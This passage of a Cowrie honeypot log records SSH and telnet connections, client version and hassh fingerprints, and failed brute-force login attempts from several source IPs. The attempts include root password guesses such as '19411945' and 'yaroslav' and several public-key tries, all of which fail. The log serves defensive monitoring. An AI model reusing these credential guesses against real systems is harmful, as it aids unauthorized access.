cm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:16:10.401571Z","src_ip":"51.250.105.222","session":"eae522bc80f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"19411945","message":"login attempt [root/19411945] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:16:10.782116Z","src_ip":"51.250.105.222","session":"eae522bc80f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.963584899902344,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:16:11.085885Z","src_ip":"152.42.224.71","session":"ad61270680b9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:16:11.909335Z","src_ip":"51.250.105.222","session":"eae522bc80f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54612,"dst_ip":"10.17.0.5","dst_port":23,"session":"d374cee8b338","protocol":"telnet","message":"New connection: 152.42.224.71:54612 (10.17.0.5:23) [session: d374cee8b338]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:16:13.590563Z"}
{"eventid":"cowrie.session.connect","src_ip":"47.237.167.49","src_port":57836,"dst_ip":"159.203.135.109","dst_port":22,"session":"581d68bc4589","protocol":"ssh","message":"New connection: 47.237.167.49:57836 (159.203.135.109:22) [session: 581d68bc4589]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:16:14.770506Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57782,"dst_ip":"10.17.0.5","dst_port":23,"session":"24712fb3de60","protocol":"telnet","message":"New connection: 152.42.224.71:57782 (10.17.0.5:23) [session: 24712fb3de60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:16:23.742622Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:16:27.412963Z","src_ip":"47.237.167.49","session":"581d68bc4589","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:16:27.640848Z","src_ip":"47.237.167.49","session":"581d68bc4589","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42390,"dst_ip":"10.17.0.5","dst_port":23,"session":"c327608651e9","protocol":"telnet","message":"New connection: 152.42.224.71:42390 (10.17.0.5:23) [session: c327608651e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:16:29.981694Z"}
{"eventid":"cowrie.session.closed","duration":48.682785749435425,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:16:30.184170Z","src_ip":"152.42.224.71","session":"6c312df31fa1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":107.59794330596924,"message":"Connection lost after 107 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:16:30.591692Z","src_ip":"152.42.224.71","session":"3e28f2b07a0f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42400,"dst_ip":"10.17.0.5","dst_port":23,"session":"87a6494fccdb","protocol":"telnet","message":"New connection: 152.42.224.71:42400 (10.17.0.5:23) [session: 87a6494fccdb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:16:32.517050Z"}
{"eventid":"cowrie.session.closed","duration":99.90003609657288,"message":"Connection lost after 99 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:16:33.895581Z","src_ip":"152.42.224.71","session":"0f0984662eb0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42408,"dst_ip":"10.17.0.5","dst_port":23,"session":"1f6e7209b30b","protocol":"telnet","message":"New connection: 152.42.224.71:42408 (10.17.0.5:23) [session: 1f6e7209b30b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:16:34.647596Z"}
{"eventid":"cowrie.session.closed","duration":42.387523889541626,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:16:34.892896Z","src_ip":"152.42.224.71","session":"fd4bad25bcfa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42424,"dst_ip":"10.17.0.5","dst_port":23,"session":"e2478cd3928d","protocol":"telnet","message":"New connection: 152.42.224.71:42424 (10.17.0.5:23) [session: e2478cd3928d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:16:35.501327Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":8334,"dst_ip":"159.203.135.109","dst_port":22,"session":"360a402514fb","protocol":"ssh","message":"New connection: 38.93.206.2:8334 (159.203.135.109:22) [session: 360a402514fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:16:36.449900Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:16:36.453874Z","src_ip":"38.93.206.2","session":"360a402514fb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:16:36.503431Z","src_ip":"38.93.206.2","session":"360a402514fb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"020202","message":"login attempt [root/020202] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:16:36.655270Z","src_ip":"38.93.206.2","session":"360a402514fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58580,"dst_ip":"10.17.0.5","dst_port":23,"session":"08cb95426745","protocol":"telnet","message":"New connection: 152.42.224.71:58580 (10.17.0.5:23) [session: 08cb95426745]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:16:37.297694Z"}
{"eventid":"cowrie.session.closed","duration":120.00122213363647,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:16:37.337203Z","src_ip":"152.42.224.71","session":"f7577d71f264","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:16:37.707103Z","src_ip":"38.93.206.2","session":"360a402514fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00313925743103,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:16:39.773515Z","src_ip":"152.42.224.71","session":"627acc28a6d4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":68.16480493545532,"message":"Connection lost after 68 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:16:49.207196Z","src_ip":"152.42.224.71","session":"f6f30abf82a3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.38257598876953,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:16:53.101268Z","src_ip":"152.42.224.71","session":"ce4b4ed92653","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60670,"dst_ip":"10.17.0.5","dst_port":23,"session":"0bc08dd15bb7","protocol":"telnet","message":"New connection: 152.42.224.71:60670 (10.17.0.5:23) [session: 0bc08dd15bb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:16:53.169493Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":53354,"dst_ip":"10.17.0.5","dst_port":22,"session":"cf334613d8f2","protocol":"ssh","message":"New connection: 62.133.62.83:53354 (10.17.0.5:22) [session: cf334613d8f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:16:53.820065Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:16:53.825087Z","src_ip":"62.133.62.83","session":"cf334613d8f2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:16:53.908245Z","src_ip":"62.133.62.83","session":"cf334613d8f2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"yaroslav","message":"login attempt [root/yaroslav] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:16:54.147067Z","src_ip":"62.133.62.83","session":"cf334613d8f2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60672,"dst_ip":"10.17.0.5","dst_port":23,"session":"ccf58f9a43c1","protocol":"telnet","message":"New connection: 152.42.224.71:60672 (10.17.0.5:23) [session: ccf58f9a43c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:16:54.193885Z"}
{"eventid":"cowrie.login.failed","username":"trinity","password":"trinity","message":"login attempt [trinity/trinity] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:16:54.338434Z","src_ip":"47.237.167.49","session":"581d68bc4589","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60680,"dst_ip":"10.17.0.5","dst_port":23,"session":"af87a185ad51","protocol":"telnet","message":"New connection: 152.42.224.71:60680 (10.17.0.5:23) [session: af87a185ad51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:16:54.372916Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:16:55.228468Z","src_ip":"62.133.62.83","session":"cf334613d8f2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60694,"dst_ip":"10.17.0.5","dst_port":23,"session":"315b0be89382","protocol":"telnet","message":"New connection: 152.42.224.71:60694 (10.17.0.5:23) [session: 315b0be89382]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:16:55.294383Z"}
{"eventid":"cowrie.session.closed","duration":"40.9","message":"Connection lost after 40.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:16:55.660493Z","src_ip":"47.237.167.49","session":"581d68bc4589","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"210.210.155.71","src_port":34184,"dst_ip":"10.17.0.5","dst_port":22,"session":"dc4fea66a715","protocol":"ssh","message":"New connection: 210.210.155.71:34184 (10.17.0.5:22) [session: dc4fea66a715]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:17:00.727923Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:17:00.734356Z","src_ip":"210.210.155.71","session":"dc4fea66a715","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:17:00.967680Z","src_ip":"210.210.155.71","session":"dc4fea66a715","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a3:94:85:fe:4a:b6:04:9e:6a:50:0f:ec:10:3a:fb:ed","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDw/1sEaa2h96fHLZx0uYkQ84NEnX9sgki9IDEirCP0BmJ7Fpg5Lgc4m6rIS5EvEhvLzcEi0Yokm9oK+mAPeyYniA9uLGxrUeuGQ7KIbYD9IGlyIhbetE8QYjtxK8ID/aJjGrc3pkhMJsLG9sxBK0YIHBZyk7NQRVY1LReVKW9CSNKjvlbfM7hwrjUwB1+t2aZDCUJkiORmoSL/TfPiCn8dvfKIl0QES+ieUK7BkkK8Tobq03eOcaBfZZDNhtIahf+5v5iHjhken4k80Gba+vkDjlGpkwqLxaMeZtLfnlRiJW+fg9IdjvH04pD2qA4EiITPDjxxgu+79JASSvuIG6B3","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a3:94:85:fe:4a:b6:04:9e:6a:50:0f:ec:10:3a:fb:ed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:17:02.106601Z","src_ip":"210.210.155.71","session":"dc4fea66a715","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a3:94:85:fe:4a:b6:04:9e:6a:50:0f:ec:10:3a:fb:ed","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDw/1sEaa2h96fHLZx0uYkQ84NEnX9sgki9IDEirCP0BmJ7Fpg5Lgc4m6rIS5EvEhvLzcEi0Yokm9oK+mAPeyYniA9uLGxrUeuGQ7KIbYD9IGlyIhbetE8QYjtxK8ID/aJjGrc3pkhMJsLG9sxBK0YIHBZyk7NQRVY1LReVKW9CSNKjvlbfM7hwrjUwB1+t2aZDCUJkiORmoSL/TfPiCn8dvfKIl0QES+ieUK7BkkK8Tobq03eOcaBfZZDNhtIahf+5v5iHjhken4k80Gba+vkDjlGpkwqLxaMeZtLfnlRiJW+fg9IdjvH04pD2qA4EiITPDjxxgu+79JASSvuIG6B3","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:17:02.110766Z","src_ip":"210.210.155.71","session":"dc4fea66a715","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"15:b1:bb:14:a4:7d:7f:f0:14:b0:59:05:80:07:3d:a2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDalzaKm/zaBJPi12EndOVEdk5dNTfRhVl2+f/oiZvdGer/noLGeR5JnXOr5OQrYUBDaXS2VfatyFP6LpDQLdtvVVEVAvXP/NOJU6fY5sj114rjeQLydkC0HqLzDqdAT+NorWl1rvqd6OShFt+fbRP40L7asoy/gp/J+77PGUhlpgSqW6jc1qAIDNG4sjUxtI9ckwNESaLKdRLTEtmml93DxnO0feUZT4IKW4LP7GPUVYtXMDb/C01NA/8+Z3MqPHj663fHsJKdw0NMkBbZhTLWcymR4h2QjP7QXOIjbVLneldnEVQpEwShNBbYmFsjL8l58ejBuuH9dKLzGnCj9l1v","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 15:b1:bb:14:a4:7d:7f:f0:14:b0:59:05:80:07:3d:a2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:17:02.343763Z","src_ip":"210.210.155.71","session":"dc4fea66a715","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"15:b1:bb:14:a4:7d:7f:f0:14:b0:59:05:80:07:3d:a2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDalzaKm/zaBJPi12EndOVEdk5dNTfRhVl2+f/oiZvdGer/noLGeR5JnXOr5OQrYUBDaXS2VfatyFP6LpDQLdtvVVEVAvXP/NOJU6fY5sj114rjeQLydkC0HqLzDqdAT+NorWl1rvqd6OShFt+fbRP40L7asoy/gp/J+77PGUhlpgSqW6jc1qAIDNG4sjUxtI9ckwNESaLKdRLTEtmml93DxnO0feUZT4IKW4LP7GPUVYtXMDb/C01NA/8+Z3MqPHj663fHsJKdw0NMkBbZhTLWcymR4h2QjP7QXOIjbVLneldnEVQpEwShNBbYmFsjL8l58ejBuuH9dKLzGnCj9l1v","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:17:02.347855Z","src_ip":"210.210.155.71","session":"dc4fea66a715","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d0:94:b9:5e:d4:73:50:e1:3a:1e:83:b9:a2:2a:d5:47","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCxwqEn/kNbJCcgnDLp99Nke5x3pnhCxa4awdK+ggErJ46cOG73aijQMh+e+OyDkgx7Eyz81mMr4uIPAFGY/nmQc6NpOttA1ROhs1scHayLxn36+pAKW2XKxq7ctI3IvWHFaZLhjuDarCWo+gdWB+YCqc959xzDAR2efe8UQEyi1JIFNM8Z8xSFLRnLNSIxfkBJI7Ezs7je/vTB+NsUU+hahQKjWoDhsHHsk8OGoI8uCClciIVh4kLwJ4ivxor69s3jWMUTGpl8b+lh/VqxhAJEOB4Q8lzi7/AgKC669OgPr46OWqI/24eoq4Dwf0/Yi/JeFH2ScAAk4qiQ5qZ/LCzA6On4ARQt4NpT8cAAk6eJJ1ObUnA8EV+K/B4DGzSMZUv5k04buEE8bVNsb/ngjKBGDWxf6J1PVKdoezkhGbKYL5Uvk6SZjxAVv9RsTM9DQaDS4lbCXwQjK/V9GWXmnORTSJgOB3YRVA6y+hfAuC2Uq6ptr4tdvt6+/aUtaypJsUva3af5omdI7oQKOmWATHVwELtHe+WnZdZOlZ8bLCl7eJCNV5FziBpai/dm76eEOKVrZZhiJEymXjw0p7vv8Mfwhl0ZwoBw5Col86goXaHwbaSQRK0FubEmUj5sa5AyO8kW9lmMKl1dAw8qXqSG3cs2GVw5rpvq8554cqe3SAB/mw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d0:94:b9:5e:d4:73:50:e1:3a:1e:83:b9:a2:2a:d5:47","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:17:02.580501Z","src_ip":"210.210.155.71","session":"dc4fea66a715","protocol":"ssh"}
